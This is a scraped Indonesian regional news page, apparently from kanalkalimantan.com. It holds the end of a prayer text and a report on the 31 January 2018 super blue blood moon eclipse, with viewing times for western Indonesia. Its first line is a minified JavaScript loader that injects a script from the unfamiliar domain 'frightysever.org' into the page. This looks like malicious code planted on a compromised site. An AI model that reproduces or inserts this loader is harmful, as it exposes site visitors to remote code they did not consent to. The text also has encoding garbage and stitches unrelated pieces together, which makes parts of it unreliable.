(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Selesai berkhutbah, dianjurkan untuk membaca do’a ini:
“Allahumma inna nasaluka innaka ghoffaarr fa arsilis samaai ‘alainaa midroro. Allahumma inna na’uudzubika mina; dzunuubil latii tamna’u ghoitsas samaai wana’uudzubika minadz dzunuubil latii tudzilul a’izza watudallilul a’daa. Allahummaghfir lil muslimiina wal muslimaati wal mukminiina wal mukminaati al ahyaaiminhum wal amwaati. Innaka samii’un khoriibum mujiibud da’awaati yaa qaadliyal hajat.â€ÂÂ
Lapan mengumunkan peristiwa gerhana bulan langka akan terjadi pada tahun ini yakni gerhana bulan total pada 31 Januari 2018. Peristiwa ini langka karena gerhana ini terjadi saat bulan berada dalam konfigurasi super moon dan blue moon. Fenomena super moon terjadi ketika purnama bulan berada dalam jarak terdekatnya dengan bumi, sehingga ukuran bulan ini menjadi 14 persen lebih besar dan 30 persen lebih terang daripada biasanya. Kalau blue moon adalah bulan purnama yang terjadi dua kali dalam satu bulan kalender. Ketiga fenomena yang terjadi pada saat bersamaan yaitu blue moon, super moon, dan gerhana bulan adalah peristiwa yang sangat langka terjadi.
Peristiwa ini terakhir diamati pada 31 Maret 1866 atau 152 tahun yang lalu. Fenomena berikutnya yang terjadi bersamaan adalah gerhana bulan.
Gerhana bulan terjadi ketika saat bulan purnama bumi menutupi bulan sehingga bulan tertutupi oleh bayangan bumi. Orbit bulan mengelilingi bumi berbentuk elips sehingga jarak Bumi dengan Bulan selalu berubah, dan saat Bulan berada di titik terdekat (perigee) dengan bumi bertepatan dengan bulan purnama terjadilah supermoon. Ketiga fenomena langka itu berlangsung pada tanggal 31 Januari 2018 diawali dengan gerhana sebagian, diikuti dengan gerhana total, gerhana parsial lagi, dan bulan sepenuhnya terlepas dari bayangan bumi. Tidak seperti gerhana matahari yang hanya bisa diamati di daerah yang sangat terbatas, gerhana bulan ini bisa diamati dari sebagian besar permukaan bumi, yaitu dari daerah Amerika Utara, Samudera Pasifik, Siberia Timur dan Asia. Namun, gerhana ini tidak akan terlihat dari sebagian besar Amerika Selatan dan Afrika. Proses gerhana bulan ini terbagi menjadi beberapa tahap, yaitu tahap gerhana parsial, gerhana total, dan gerhana parsial. Proses gerhana berlangsung sekitar empat jam. Untuk para pengamat di daerah Indonesia bagian barat. Berikut tahap-tahap gerhana bulan ini bisa dilihat, Awal gerhana parsial terjadi pada 18:48 WIB, Awal gerhana total terjadi pada 19:52 WIB, Puncak gerhana terjadi pada 20:30 WIB, Akhir totalitas terjadi pada 21:08 WIB dan Akhir gerhana terjadi pada parsial 22:11 WIB. (ammar)
KANALKALIMANTAN.COM, BANJARMASIN - PT Global Equipment Nusatama (GEN) menggelar kicf off meeting evaluasi bersama jajaran… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah melalui PT PLN (Persero) terus berupaya menghadirkan listrik di semua wilayah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Guyuran hujan yang tak berhenti sejak dini hari Selasa (21/1/2024) hingga siang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur dan Kepala Balai Prasarana Permukiman Wilayah (BPPW)… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ribuan jamaah dari berbagai wilayah dari dan luar Kalimantan Selatan menghadiri pelaksanaan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Guyuran hujan lebat tengah melanda hampir seluruh wilayah di Kota Banjarbaru sejak… Read More
This website uses cookies.